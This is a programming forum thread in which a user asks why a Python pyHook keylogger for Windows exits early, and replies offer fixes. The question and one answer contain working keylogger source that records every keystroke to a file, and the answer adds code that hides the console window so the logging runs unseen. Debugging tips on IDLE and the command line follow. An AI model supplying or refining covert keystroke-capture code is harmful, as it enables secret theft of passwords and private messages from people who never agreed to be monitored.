Help with my keylogger

Question

I'm working on a simple key logger. I'm having a problem though, when I try to run it as a .pyw the program shuts down before it can record anything. I believe it needs to loop, how would I go about this?

import pythoncom, pyHook, sys, logging, time


LOG_FILENAME = 'C:\KeyLog\log.out'



def OnKeyboardEvent(event):
    keytime = time.strftime('%I:%M %S %p            %A %B %d, %Y            |           ')
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')

    logging.log(10, keytime + "Key:    '" + chr(event.Ascii) + "'")


    if chr(event.Ascii) == "q":
        sys.exit(0)
    return True


hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

I'm using Windows 7 ,BTW.

Because I thought it would be neat, It's not supposed to be secure or anything. — rectangletangle

How about using input() to make it wait until you press enter? — Wolph

@vlad003, PumpMessages internally does the loop (until it receives a WM_QUIT, of course, not forever;-). So adding another loop around it seems very weird. — Alex Martelli

this is my simple example (your code is wrong): (you need pyHook and win32api)

#!/usr/bin/python
import pyHook
import pythoncom
import win32gui
import win32console


log_file = "log_file.txt"                 #name of log file
window = win32console.GetConsoleWindow()  #go to script window
win32gui.ShowWindow(window,0)             #hide window

def pressed_chars(event):       #on key pressed function
    if event.Ascii:
        f = open(log_file,"a")  # (open log_file in append mode)
        char = chr(event.Ascii) # (insert real char in variable)
        if char == "q":         # (if char is q)
            f.close()           # (close and save log file)
            exit()              # (exit program)
        if event.Ascii == 13:   # (if char is "return")
            f.write("\n")       # (new line)
        f.write(char)           # (write char)



proc = pyHook.HookManager()      #open pyHook
proc.KeyDown = pressed_chars     #set pressed_chars function on KeyDown event
proc.HookKeyboard()              #start the function
pythoncom.PumpMessages()         #get input

open the program via the python idle (right klick edit with IDLE) go to Run and click run module(F5) then you can see the errors.

hint for debugging: look at wich line the error is at(other editors like atom.io wich i use for all my coding have line numbers) so you know where to look.

DOUBLE HINT: if you want to use an external editor but want to get error messages open cmd and go to the directory you program is in (cd project-folder\second-folder for example) and do python <script name> so for example python keylogger.py

edit:

python script.py may not work because python is not in the path variable This website explains how to add a program to your path
